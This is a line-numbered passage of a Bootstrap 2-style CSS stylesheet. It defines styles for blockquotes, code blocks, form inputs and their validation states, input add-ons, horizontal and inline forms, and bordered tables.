text-align: right; 646 | overflow: hidden; 647 | text-overflow: ellipsis; 648 | white-space: nowrap; 649 | } 650 | .dl-horizontal dd { 651 | margin-left: 180px; 652 | } 653 | hr { 654 | margin: 20px 0; 655 | border: 0; 656 | border-top: 1px solid #eeeeee; 657 | border-bottom: 1px solid #ffffff; 658 | } 659 | abbr[title], 660 | abbr[data-original-title] { 661 | cursor: help; 662 | border-bottom: 1px dotted #999999; 663 | } 664 | abbr.initialism { 665 | font-size: 90%; 666 | text-transform: uppercase; 667 | } 668 | blockquote { 669 | padding: 0 0 0 15px; 670 | margin: 0 0 20px; 671 | border-left: 5px solid #eeeeee; 672 | } 673 | blockquote p { 674 | margin-bottom: 0; 675 | font-size: 16px; 676 | font-weight: 300; 677 | line-height: 25px; 678 | } 679 | blockquote small { 680 | display: block; 681 | line-height: 20px; 682 | color: #999999; 683 | } 684 | blockquote small:before { 685 | content: '\2014 \00A0'; 686 | } 687 | blockquote.pull-right { 688 | float: right; 689 | padding-right: 15px; 690 | padding-left: 0; 691 | border-right: 5px solid #eeeeee; 692 | border-left: 0; 693 | } 694 | blockquote.pull-right p, 695 | blockquote.pull-right small { 696 | text-align: right; 697 | } 698 | blockquote.pull-right small:before { 699 | content: ''; 700 | } 701 | blockquote.pull-right small:after { 702 | content: '\00A0 \2014'; 703 | } 704 | q:before, 705 | q:after, 706 | blockquote:before, 707 | blockquote:after { 708 | content: ""; 709 | } 710 | address { 711 | display: block; 712 | margin-bottom: 20px; 713 | font-style: normal; 714 | line-height: 20px; 715 | } 716 | code, 717 | pre { 718 | padding: 0 3px 2px; 719 | font-family: Monaco, Menlo, Consolas, "Courier New", monospace; 720 | font-size: 12px; 721 | color: #333333; 722 | -webkit-border-radius: 3px; 723 | -moz-border-radius: 3px; 724 | border-radius: 3px; 725 | } 726 | code { 727 | padding: 2px 4px; 728 | color: #d14; 729 | background-color: #f7f7f9; 730 | border: 1px solid #e1e1e8; 731 | } 732 | pre { 733 | display: block; 734 | padding: 9.5px; 735 | margin: 0 0 10px; 736 | font-size: 13px; 737 | line-height: 20px; 738 | word-break: break-all; 739 | word-wrap: break-word; 740 | white-space: pre; 741 | white-space: pre-wrap; 742 | background-color: #f5f5f5; 743 | border: 1px solid #ccc; 744 | border: 1px solid rgba(0, 0, 0, 0.15); 745 | -webkit-border-radius: 4px; 746 | -moz-border-radius: 4px; 747 | border-radius: 4px; 748 | } 749 | pre.prettyprint { 750 | margin-bottom: 20px; 751 | } 752 | pre code { 753 | padding: 0; 754 | color: inherit; 755 | background-color: transparent; 756 | border: 0; 757 | } 758 | .pre-scrollable { 759 | max-height: 340px; 760 | overflow-y: scroll; 761 | } 762 | form { 763 | margin: 0 0 20px; 764 | } 765 | fieldset { 766 | padding: 0; 767 | margin: 0; 768 | border: 0; 769 | } 770 | legend { 771 | display: block; 772 | width: 100%; 773 | padding: 0; 774 | margin-bottom: 20px; 775 | font-size: 21px; 776 | line-height: 40px; 777 | color: #333333; 778 | border: 0; 779 | border-bottom: 1px solid #e5e5e5; 780 | } 781 | legend small { 782 | font-size: 15px; 783 | color: #999999; 784 | } 785 | label, 786 | input, 787 | button, 788 | select, 789 | textarea { 790 | font-size: 14px; 791 | font-weight: normal; 792 | line-height: 20px; 793 | } 794 | input, 795 | button, 796 | select, 797 | textarea { 798 | font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; 799 | } 800 | label { 801 | display: block; 802 | margin-bottom: 5px; 803 | } 804 | select, 805 | textarea, 806 | input[type="text"], 807 | input[type="password"], 808 | input[type="datetime"], 809 | input[type="datetime-local"], 810 | input[type="date"], 811 | input[type="month"], 812 | input[type="time"], 813 | input[type="week"], 814 | input[type="number"], 815 | input[type="email"], 816 | input[type="url"], 817 | input[type="search"], 818 | input[type="tel"], 819 | input[type="color"], 820 | .uneditable-input { 821 | display: inline-block; 822 | height: 20px; 823 | padding: 4px 6px; 824 | margin-bottom: 10px; 825 | font-size: 14px; 826 | line-height: 20px; 827 | color: #555555; 828 | -webkit-border-radius: 4px; 829 | -moz-border-radius: 4px; 830 | border-radius: 4px; 831 | vertical-align: middle; 832 | } 833 | input, 834 | textarea, 835 | .uneditable-input { 836 | width: 206px; 837 | } 838 | textarea { 839 | height: auto; 840 | } 841 | textarea, 842 | input[type="text"], 843 | input[type="password"], 844 | input[type="datetime"], 845 | input[type="datetime-local"], 846 | input[type="date"], 847 | input[type="month"], 848 | input[type="time"], 849 | input[type="week"], 850 | input[type="number"], 851 | input[type="email"], 852 | input[type="url"], 853 | input[type="search"], 854 | input[type="tel"], 855 | input[type="color"], 856 | .uneditable-input { 857 | background-color: #ffffff; 858 | border: 1px solid #cccccc; 859 | -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 860 | -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 861 | box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 862 | -webkit-transition: border linear .2s, box-shadow linear .2s; 863 | -moz-transition: border linear .2s, box-shadow linear .2s; 864 | -o-transition: border linear .2s, box-shadow linear .2s; 865 | transition: border linear .2s, box-shadow linear .2s; 866 | } 867 | textarea:focus, 868 | input[type="text"]:focus, 869 | input[type="password"]:focus, 870 | input[type="datetime"]:focus, 871 | input[type="datetime-local"]:focus, 872 | input[type="date"]:focus, 873 | input[type="month"]:focus, 874 | input[type="time"]:focus, 875 | input[type="week"]:focus, 876 | input[type="number"]:focus, 877 | input[type="email"]:focus, 878 | input[type="url"]:focus, 879 | input[type="search"]:focus, 880 | input[type="tel"]:focus, 881 | input[type="color"]:focus, 882 | .uneditable-input:focus { 883 | border-color: rgba(82, 168, 236, 0.8); 884 | outline: 0; 885 | outline: thin dotted \9; 886 | /* IE6-9 */ 887 | 888 | -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(82,168,236,.6); 889 | -moz-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(82,168,236,.6); 890 | box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(82,168,236,.6); 891 | } 892 | input[type="radio"], 893 | input[type="checkbox"] { 894 | margin: 4px 0 0; 895 | *margin-top: 0; 896 | /* IE7 */ 897 | 898 | margin-top: 1px \9; 899 | /* IE8-9 */ 900 | 901 | line-height: normal; 902 | cursor: pointer; 903 | } 904 | input[type="file"], 905 | input[type="image"], 906 | input[type="submit"], 907 | input[type="reset"], 908 | input[type="button"], 909 | input[type="radio"], 910 | input[type="checkbox"] { 911 | width: auto; 912 | } 913 | select, 914 | input[type="file"] { 915 | height: 30px; 916 | /* In IE7, the height of the select element cannot be changed by height, only font-size */ 917 | 918 | *margin-top: 4px; 919 | /* For IE7, add top margin to align select with labels */ 920 | 921 | line-height: 30px; 922 | } 923 | select { 924 | width: 220px; 925 | border: 1px solid #cccccc; 926 | background-color: #ffffff; 927 | } 928 | select[multiple], 929 | select[size] { 930 | height: auto; 931 | } 932 | select:focus, 933 | input[type="file"]:focus, 934 | input[type="radio"]:focus, 935 | input[type="checkbox"]:focus { 936 | outline: thin dotted #333; 937 | outline: 5px auto -webkit-focus-ring-color; 938 | outline-offset: -2px; 939 | } 940 | .uneditable-input, 941 | .uneditable-textarea { 942 | color: #999999; 943 | background-color: #fcfcfc; 944 | border-color: #cccccc; 945 | -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025); 946 | -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025); 947 | box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.025); 948 | cursor: not-allowed; 949 | } 950 | .uneditable-input { 951 | overflow: hidden; 952 | white-space: nowrap; 953 | } 954 | .uneditable-textarea { 955 | width: auto; 956 | height: auto; 957 | } 958 | input:-moz-placeholder, 959 | textarea:-moz-placeholder { 960 | color: #999999; 961 | } 962 | input:-ms-input-placeholder, 963 | textarea:-ms-input-placeholder { 964 | color: #999999; 965 | } 966 | input::-webkit-input-placeholder, 967 | textarea::-webkit-input-placeholder { 968 | color: #999999; 969 | } 970 | .radio, 971 | .checkbox { 972 | min-height: 20px; 973 | padding-left: 20px; 974 | } 975 | .radio input[type="radio"], 976 | .checkbox input[type="checkbox"] { 977 | float: left; 978 | margin-left: -20px; 979 | } 980 | .controls > .radio:first-child, 981 | .controls > .checkbox:first-child { 982 | padding-top: 5px; 983 | } 984 | .radio.inline, 985 | .checkbox.inline { 986 | display: inline-block; 987 | padding-top: 5px; 988 | margin-bottom: 0; 989 | vertical-align: middle; 990 | } 991 | .radio.inline + .radio.inline, 992 | .checkbox.inline + .checkbox.inline { 993 | margin-left: 10px; 994 | } 995 | .input-mini { 996 | width: 60px; 997 | } 998 | .input-small { 999 | width: 90px; 1000 | } 1001 | .input-medium { 1002 | width: 150px; 1003 | } 1004 | .input-large { 1005 | width: 210px; 1006 | } 1007 | .input-xlarge { 1008 | width: 270px; 1009 | } 1010 | .input-xxlarge { 1011 | width: 530px; 1012 | } 1013 | input[class*="span"], 1014 | select[class*="span"], 1015 | textarea[class*="span"], 1016 | .uneditable-input[class*="span"], 1017 | .row-fluid input[class*="span"], 1018 | .row-fluid select[class*="span"], 1019 | .row-fluid textarea[class*="span"], 1020 | .row-fluid .uneditable-input[class*="span"] { 1021 | float: none; 1022 | margin-left: 0; 1023 | } 1024 | .input-append input[class*="span"], 1025 | .input-append .uneditable-input[class*="span"], 1026 | .input-prepend input[class*="span"], 1027 | .input-prepend .uneditable-input[class*="span"], 1028 | .row-fluid input[class*="span"], 1029 | .row-fluid select[class*="span"], 1030 | .row-fluid textarea[class*="span"], 1031 | .row-fluid .uneditable-input[class*="span"], 1032 | .row-fluid .input-prepend [class*="span"], 1033 | .row-fluid .input-append [class*="span"] { 1034 | display: inline-block; 1035 | } 1036 | input, 1037 | textarea, 1038 | .uneditable-input { 1039 | margin-left: 0; 1040 | } 1041 | .controls-row [class*="span"] + [class*="span"] { 1042 | margin-left: 20px; 1043 | } 1044 | input.span12, textarea.span12, .uneditable-input.span12 { 1045 | width: 926px; 1046 | } 1047 | input.span11, textarea.span11, .uneditable-input.span11 { 1048 | width: 846px; 1049 | } 1050 | input.span10, textarea.span10, .uneditable-input.span10 { 1051 | width: 766px; 1052 | } 1053 | input.span9, textarea.span9, .uneditable-input.span9 { 1054 | width: 686px; 1055 | } 1056 | input.span8, textarea.span8, .uneditable-input.span8 { 1057 | width: 606px; 1058 | } 1059 | input.span7, textarea.span7, .uneditable-input.span7 { 1060 | width: 526px; 1061 | } 1062 | input.span6, textarea.span6, .uneditable-input.span6 { 1063 | width: 446px; 1064 | } 1065 | input.span5, textarea.span5, .uneditable-input.span5 { 1066 | width: 366px; 1067 | } 1068 | input.span4, textarea.span4, .uneditable-input.span4 { 1069 | width: 286px; 1070 | } 1071 | input.span3, textarea.span3, .uneditable-input.span3 { 1072 | width: 206px; 1073 | } 1074 | input.span2, textarea.span2, .uneditable-input.span2 { 1075 | width: 126px; 1076 | } 1077 | input.span1, textarea.span1, .uneditable-input.span1 { 1078 | width: 46px; 1079 | } 1080 | .controls-row { 1081 | *zoom: 1; 1082 | } 1083 | .controls-row:before, 1084 | .controls-row:after { 1085 | display: table; 1086 | content: ""; 1087 | line-height: 0; 1088 | } 1089 | .controls-row:after { 1090 | clear: both; 1091 | } 1092 | .controls-row [class*="span"], 1093 | .row-fluid .controls-row [class*="span"] { 1094 | float: left; 1095 | } 1096 | .controls-row .checkbox[class*="span"], 1097 | .controls-row .radio[class*="span"] { 1098 | padding-top: 5px; 1099 | } 1100 | input[disabled], 1101 | select[disabled], 1102 | textarea[disabled], 1103 | input[readonly], 1104 | select[readonly], 1105 | textarea[readonly] { 1106 | cursor: not-allowed; 1107 | background-color: #eeeeee; 1108 | } 1109 | input[type="radio"][disabled], 1110 | input[type="checkbox"][disabled], 1111 | input[type="radio"][readonly], 1112 | input[type="checkbox"][readonly] { 1113 | background-color: transparent; 1114 | } 1115 | .control-group.warning > label, 1116 | .control-group.warning .help-block, 1117 | .control-group.warning .help-inline { 1118 | color: #c09853; 1119 | } 1120 | .control-group.warning .checkbox, 1121 | .control-group.warning .radio, 1122 | .control-group.warning input, 1123 | .control-group.warning select, 1124 | .control-group.warning textarea { 1125 | color: #c09853; 1126 | } 1127 | .control-group.warning input, 1128 | .control-group.warning select, 1129 | .control-group.warning textarea { 1130 | border-color: #c09853; 1131 | -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 1132 | -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 1133 | box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 1134 | } 1135 | .control-group.warning input:focus, 1136 | .control-group.warning select:focus, 1137 | .control-group.warning textarea:focus { 1138 | border-color: #a47e3c; 1139 | -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #dbc59e; 1140 | -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #dbc59e; 1141 | box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #dbc59e; 1142 | } 1143 | .control-group.warning .input-prepend .add-on, 1144 | .control-group.warning .input-append .add-on { 1145 | color: #c09853; 1146 | background-color: #fcf8e3; 1147 | border-color: #c09853; 1148 | } 1149 | .control-group.error > label, 1150 | .control-group.error .help-block, 1151 | .control-group.error .help-inline { 1152 | color: #b94a48; 1153 | } 1154 | .control-group.error .checkbox, 1155 | .control-group.error .radio, 1156 | .control-group.error input, 1157 | .control-group.error select, 1158 | .control-group.error textarea { 1159 | color: #b94a48; 1160 | } 1161 | .control-group.error input, 1162 | .control-group.error select, 1163 | .control-group.error textarea { 1164 | border-color: #b94a48; 1165 | -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 1166 | -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 1167 | box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 1168 | } 1169 | .control-group.error input:focus, 1170 | .control-group.error select:focus, 1171 | .control-group.error textarea:focus { 1172 | border-color: #953b39; 1173 | -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #d59392; 1174 | -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #d59392; 1175 | box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #d59392; 1176 | } 1177 | .control-group.error .input-prepend .add-on, 1178 | .control-group.error .input-append .add-on { 1179 | color: #b94a48; 1180 | background-color: #f2dede; 1181 | border-color: #b94a48; 1182 | } 1183 | .control-group.success > label, 1184 | .control-group.success .help-block, 1185 | .control-group.success .help-inline { 1186 | color: #468847; 1187 | } 1188 | .control-group.success .checkbox, 1189 | .control-group.success .radio, 1190 | .control-group.success input, 1191 | .control-group.success select, 1192 | .control-group.success textarea { 1193 | color: #468847; 1194 | } 1195 | .control-group.success input, 1196 | .control-group.success select, 1197 | .control-group.success textarea { 1198 | border-color: #468847; 1199 | -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 1200 | -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 1201 | box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 1202 | } 1203 | .control-group.success input:focus, 1204 | .control-group.success select:focus, 1205 | .control-group.success textarea:focus { 1206 | border-color: #356635; 1207 | -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7aba7b; 1208 | -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7aba7b; 1209 | box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7aba7b; 1210 | } 1211 | .control-group.success .input-prepend .add-on, 1212 | .control-group.success .input-append .add-on { 1213 | color: #468847; 1214 | background-color: #dff0d8; 1215 | border-color: #468847; 1216 | } 1217 | .control-group.info > label, 1218 | .control-group.info .help-block, 1219 | .control-group.info .help-inline { 1220 | color: #3a87ad; 1221 | } 1222 | .control-group.info .checkbox, 1223 | .control-group.info .radio, 1224 | .control-group.info input, 1225 | .control-group.info select, 1226 | .control-group.info textarea { 1227 | color: #3a87ad; 1228 | } 1229 | .control-group.info input, 1230 | .control-group.info select, 1231 | .control-group.info textarea { 1232 | border-color: #3a87ad; 1233 | -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 1234 | -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 1235 | box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); 1236 | } 1237 | .control-group.info input:focus, 1238 | .control-group.info select:focus, 1239 | .control-group.info textarea:focus { 1240 | border-color: #2d6987; 1241 | -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7ab5d3; 1242 | -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7ab5d3; 1243 | box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7ab5d3; 1244 | } 1245 | .control-group.info .input-prepend .add-on, 1246 | .control-group.info .input-append .add-on { 1247 | color: #3a87ad; 1248 | background-color: #d9edf7; 1249 | border-color: #3a87ad; 1250 | } 1251 | input:focus:required:invalid, 1252 | textarea:focus:required:invalid, 1253 | select:focus:required:invalid { 1254 | color: #b94a48; 1255 | border-color: #ee5f5b; 1256 | } 1257 | input:focus:required:invalid:focus, 1258 | textarea:focus:required:invalid:focus, 1259 | select:focus:required:invalid:focus { 1260 | border-color: #e9322d; 1261 | -webkit-box-shadow: 0 0 6px #f8b9b7; 1262 | -moz-box-shadow: 0 0 6px #f8b9b7; 1263 | box-shadow: 0 0 6px #f8b9b7; 1264 | } 1265 | .form-actions { 1266 | padding: 19px 20px 20px; 1267 | margin-top: 20px; 1268 | margin-bottom: 20px; 1269 | background-color: #f5f5f5; 1270 | border-top: 1px solid #e5e5e5; 1271 | *zoom: 1; 1272 | } 1273 | .form-actions:before, 1274 | .form-actions:after { 1275 | display: table; 1276 | content: ""; 1277 | line-height: 0; 1278 | } 1279 | .form-actions:after { 1280 | clear: both; 1281 | } 1282 | .help-block, 1283 | .help-inline { 1284 | color: #595959; 1285 | } 1286 | .help-block { 1287 | display: block; 1288 | margin-bottom: 10px; 1289 | } 1290 | .help-inline { 1291 | display: inline-block; 1292 | *display: inline; 1293 | /* IE7 inline-block hack */ 1294 | 1295 | *zoom: 1; 1296 | vertical-align: middle; 1297 | padding-left: 5px; 1298 | } 1299 | .input-append, 1300 | .input-prepend { 1301 | margin-bottom: 5px; 1302 | font-size: 0; 1303 | white-space: nowrap; 1304 | } 1305 | .input-append input, 1306 | .input-prepend input, 1307 | .input-append select, 1308 | .input-prepend select, 1309 | .input-append .uneditable-input, 1310 | .input-prepend .uneditable-input, 1311 | .input-append .dropdown-menu, 1312 | .input-prepend .dropdown-menu { 1313 | font-size: 14px; 1314 | } 1315 | .input-append input, 1316 | .input-prepend input, 1317 | .input-append select, 1318 | .input-prepend select, 1319 | .input-append .uneditable-input, 1320 | .input-prepend .uneditable-input { 1321 | position: relative; 1322 | margin-bottom: 0; 1323 | *margin-left: 0; 1324 | vertical-align: top; 1325 | -webkit-border-radius: 0 4px 4px 0; 1326 | -moz-border-radius: 0 4px 4px 0; 1327 | border-radius: 0 4px 4px 0; 1328 | } 1329 | .input-append input:focus, 1330 | .input-prepend input:focus, 1331 | .input-append select:focus, 1332 | .input-prepend select:focus, 1333 | .input-append .uneditable-input:focus, 1334 | .input-prepend .uneditable-input:focus { 1335 | z-index: 2; 1336 | } 1337 | .input-append .add-on, 1338 | .input-prepend .add-on { 1339 | display: inline-block; 1340 | width: auto; 1341 | height: 20px; 1342 | min-width: 16px; 1343 | padding: 4px 5px; 1344 | font-size: 14px; 1345 | font-weight: normal; 1346 | line-height: 20px; 1347 | text-align: center; 1348 | text-shadow: 0 1px 0 #ffffff; 1349 | background-color: #eeeeee; 1350 | border: 1px solid #ccc; 1351 | } 1352 | .input-append .add-on, 1353 | .input-prepend .add-on, 1354 | .input-append .btn, 1355 | .input-prepend .btn { 1356 | vertical-align: top; 1357 | -webkit-border-radius: 0; 1358 | -moz-border-radius: 0; 1359 | border-radius: 0; 1360 | } 1361 | .input-append .active, 1362 | .input-prepend .active { 1363 | background-color: #a9dba9; 1364 | border-color: #46a546; 1365 | } 1366 | .input-prepend .add-on, 1367 | .input-prepend .btn { 1368 | margin-right: -1px; 1369 | } 1370 | .input-prepend .add-on:first-child, 1371 | .input-prepend .btn:first-child { 1372 | -webkit-border-radius: 4px 0 0 4px; 1373 | -moz-border-radius: 4px 0 0 4px; 1374 | border-radius: 4px 0 0 4px; 1375 | } 1376 | .input-append input, 1377 | .input-append select, 1378 | .input-append .uneditable-input { 1379 | -webkit-border-radius: 4px 0 0 4px; 1380 | -moz-border-radius: 4px 0 0 4px; 1381 | border-radius: 4px 0 0 4px; 1382 | } 1383 | .input-append input + .btn-group .btn, 1384 | .input-append select + .btn-group .btn, 1385 | .input-append .uneditable-input + .btn-group .btn { 1386 | -webkit-border-radius: 0 4px 4px 0; 1387 | -moz-border-radius: 0 4px 4px 0; 1388 | border-radius: 0 4px 4px 0; 1389 | } 1390 | .input-append .add-on, 1391 | .input-append .btn, 1392 | .input-append .btn-group { 1393 | margin-left: -1px; 1394 | } 1395 | .input-append .add-on:last-child, 1396 | .input-append .btn:last-child { 1397 | -webkit-border-radius: 0 4px 4px 0; 1398 | -moz-border-radius: 0 4px 4px 0; 1399 | border-radius: 0 4px 4px 0; 1400 | } 1401 | .input-prepend.input-append input, 1402 | .input-prepend.input-append select, 1403 | .input-prepend.input-append .uneditable-input { 1404 | -webkit-border-radius: 0; 1405 | -moz-border-radius: 0; 1406 | border-radius: 0; 1407 | } 1408 | .input-prepend.input-append input + .btn-group .btn, 1409 | .input-prepend.input-append select + .btn-group .btn, 1410 | .input-prepend.input-append .uneditable-input + .btn-group .btn { 1411 | -webkit-border-radius: 0 4px 4px 0; 1412 | -moz-border-radius: 0 4px 4px 0; 1413 | border-radius: 0 4px 4px 0; 1414 | } 1415 | .input-prepend.input-append .add-on:first-child, 1416 | .input-prepend.input-append .btn:first-child { 1417 | margin-right: -1px; 1418 | -webkit-border-radius: 4px 0 0 4px; 1419 | -moz-border-radius: 4px 0 0 4px; 1420 | border-radius: 4px 0 0 4px; 1421 | } 1422 | .input-prepend.input-append .add-on:last-child, 1423 | .input-prepend.input-append .btn:last-child { 1424 | margin-left: -1px; 1425 | -webkit-border-radius: 0 4px 4px 0; 1426 | -moz-border-radius: 0 4px 4px 0; 1427 | border-radius: 0 4px 4px 0; 1428 | } 1429 | .input-prepend.input-append .btn-group:first-child { 1430 | margin-left: 0; 1431 | } 1432 | input.search-query { 1433 | padding-right: 14px; 1434 | padding-right: 4px \9; 1435 | padding-left: 14px; 1436 | padding-left: 4px \9; 1437 | /* IE7-8 doesn't have border-radius, so don't indent the padding */ 1438 | 1439 | margin-bottom: 0; 1440 | -webkit-border-radius: 15px; 1441 | -moz-border-radius: 15px; 1442 | border-radius: 15px; 1443 | } 1444 | /* Allow for input prepend/append in search forms */ 1445 | .form-search .input-append .search-query, 1446 | .form-search .input-prepend .search-query { 1447 | -webkit-border-radius: 0; 1448 | -moz-border-radius: 0; 1449 | border-radius: 0; 1450 | } 1451 | .form-search .input-append .search-query { 1452 | -webkit-border-radius: 14px 0 0 14px; 1453 | -moz-border-radius: 14px 0 0 14px; 1454 | border-radius: 14px 0 0 14px; 1455 | } 1456 | .form-search .input-append .btn { 1457 | -webkit-border-radius: 0 14px 14px 0; 1458 | -moz-border-radius: 0 14px 14px 0; 1459 | border-radius: 0 14px 14px 0; 1460 | } 1461 | .form-search .input-prepend .search-query { 1462 | -webkit-border-radius: 0 14px 14px 0; 1463 | -moz-border-radius: 0 14px 14px 0; 1464 | border-radius: 0 14px 14px 0; 1465 | } 1466 | .form-search .input-prepend .btn { 1467 | -webkit-border-radius: 14px 0 0 14px; 1468 | -moz-border-radius: 14px 0 0 14px; 1469 | border-radius: 14px 0 0 14px; 1470 | } 1471 | .form-search input, 1472 | .form-inline input, 1473 | .form-horizontal input, 1474 | .form-search textarea, 1475 | .form-inline textarea, 1476 | .form-horizontal textarea, 1477 | .form-search select, 1478 | .form-inline select, 1479 | .form-horizontal select, 1480 | .form-search .help-inline, 1481 | .form-inline .help-inline, 1482 | .form-horizontal .help-inline, 1483 | .form-search .uneditable-input, 1484 | .form-inline .uneditable-input, 1485 | .form-horizontal .uneditable-input, 1486 | .form-search .input-prepend, 1487 | .form-inline .input-prepend, 1488 | .form-horizontal .input-prepend, 1489 | .form-search .input-append, 1490 | .form-inline .input-append, 1491 | .form-horizontal .input-append { 1492 | display: inline-block; 1493 | *display: inline; 1494 | /* IE7 inline-block hack */ 1495 | 1496 | *zoom: 1; 1497 | margin-bottom: 0; 1498 | vertical-align: middle; 1499 | } 1500 | .form-search .hide, 1501 | .form-inline .hide, 1502 | .form-horizontal .hide { 1503 | display: none; 1504 | } 1505 | .form-search label, 1506 | .form-inline label, 1507 | .form-search .btn-group, 1508 | .form-inline .btn-group { 1509 | display: inline-block; 1510 | } 1511 | .form-search .input-append, 1512 | .form-inline .input-append, 1513 | .form-search .input-prepend, 1514 | .form-inline .input-prepend { 1515 | margin-bottom: 0; 1516 | } 1517 | .form-search .radio, 1518 | .form-search .checkbox, 1519 | .form-inline .radio, 1520 | .form-inline .checkbox { 1521 | padding-left: 0; 1522 | margin-bottom: 0; 1523 | vertical-align: middle; 1524 | } 1525 | .form-search .radio input[type="radio"], 1526 | .form-search .checkbox input[type="checkbox"], 1527 | .form-inline .radio input[type="radio"], 1528 | .form-inline .checkbox input[type="checkbox"] { 1529 | float: left; 1530 | margin-right: 3px; 1531 | margin-left: 0; 1532 | } 1533 | .control-group { 1534 | margin-bottom: 10px; 1535 | } 1536 | legend + .control-group { 1537 | margin-top: 20px; 1538 | -webkit-margin-top-collapse: separate; 1539 | } 1540 | .form-horizontal .control-group { 1541 | margin-bottom: 20px; 1542 | *zoom: 1; 1543 | } 1544 | .form-horizontal .control-group:before, 1545 | .form-horizontal .control-group:after { 1546 | display: table; 1547 | content: ""; 1548 | line-height: 0; 1549 | } 1550 | .form-horizontal .control-group:after { 1551 | clear: both; 1552 | } 1553 | .form-horizontal .control-label { 1554 | float: left; 1555 | width: 160px; 1556 | padding-top: 5px; 1557 | text-align: right; 1558 | } 1559 | .form-horizontal .controls { 1560 | *display: inline-block; 1561 | *padding-left: 20px; 1562 | margin-left: 180px; 1563 | *margin-left: 0; 1564 | } 1565 | .form-horizontal .controls:first-child { 1566 | *padding-left: 180px; 1567 | } 1568 | .form-horizontal .help-block { 1569 | margin-bottom: 0; 1570 | } 1571 | .form-horizontal input + .help-block, 1572 | .form-horizontal select + .help-block, 1573 | .form-horizontal textarea + .help-block { 1574 | margin-top: 10px; 1575 | } 1576 | .form-horizontal .form-actions { 1577 | padding-left: 180px; 1578 | } 1579 | table { 1580 | max-width: 100%; 1581 | background-color: transparent; 1582 | border-collapse: collapse; 1583 | border-spacing: 0; 1584 | } 1585 | .table { 1586 | width: 100%; 1587 | margin-bottom: 20px; 1588 | } 1589 | .table th, 1590 | .table td { 1591 | padding: 8px; 1592 | line-height: 20px; 1593 | text-align: left; 1594 | vertical-align: top; 1595 | border-top: 1px solid #dddddd; 1596 | } 1597 | .table th { 1598 | font-weight: bold; 1599 | } 1600 | .table thead th { 1601 | vertical-align: bottom; 1602 | } 1603 | .table caption + thead tr:first-child th, 1604 | .table caption + thead tr:first-child td, 1605 | .table colgroup + thead tr:first-child th, 1606 | .table colgroup + thead tr:first-child td, 1607 | .table thead:first-child tr:first-child th, 1608 | .table thead:first-child tr:first-child td { 1609 | border-top: 0; 1610 | } 1611 | .table tbody + tbody { 1612 | border-top: 2px solid #dddddd; 1613 | } 1614 | .table-condensed th, 1615 | .table-condensed td { 1616 | padding: 4px 5px; 1617 | } 1618 | .table-bordered { 1619 | border: 1px solid #dddddd; 1620 | border-collapse: separate; 1621 | *border-collapse: collapse; 1622 | border-left: 0; 1623 | -webkit-border-radius: 4px; 1624 | -moz-border-radius: 4px; 1625 | border-radius: 4px; 1626 | } 1627 | .table-bordered th, 1628 | .table-bordered td { 1629 | border-left: 1px solid #dddddd; 1630 | } 1631 | .table-bordered caption + thead tr:first-child th, 1632 | .table-bordered caption + tbody tr:first-child th, 1633 | .table-bordered caption + tbody tr:first-child td, 1634 | .table-bordered colgroup + thead tr:first-child th, 1635 | .table-bordered colgroup + tbody tr:first-child th, 1636 | .table-bordered colgroup + tbody tr:first-child td, 1637 | .table-bordered thead:first-child tr:first-child th, 1638 | .table-bordered tbody:first-child tr:first-child th, 1639 | .table-bordered tbody:first-child tr:first-child td { 1640 | border-top: 0; 1641 | } 1642 | .table-bordered thead:first-child tr:first-child th:first-child, 1643 | .table-bordered tbody:first-child tr:first-child td:first-child { 1644 | -webkit-border-top-left-radius: 4px; 1645 | border-top-left-radius: 4px; 1646 | -moz-border-radius-topleft: 4px; 1647 | } 1648 | .table-bordered thead:first-child tr:first-child th:last-child, 1649 | .table-bordered tbody:first-child tr:first-child td:last-child { 1650 | -webkit-border-top-right-radius: 4px; 1651 | border-top-right-radius: 4px; 1652 | -moz-border-radius-topright: 4px; 1653 | } 1654 | .table-bordered thead:last-child tr:last-child th:first-child, 1655 | .table-bordered tbody:last-child tr:last-child td:first-child, 1656 | .table-bordered tfoot:last-child tr:last-child td:first-child { 1657 | -webkit-border-radius: 0 0 0 4px; 1658 | -moz-border-radius: 0 0 0 4px; 1659 | border-radius: 0 0 0 4px; 1660 | -webkit-border-bottom-left-radius: 4px; 1661 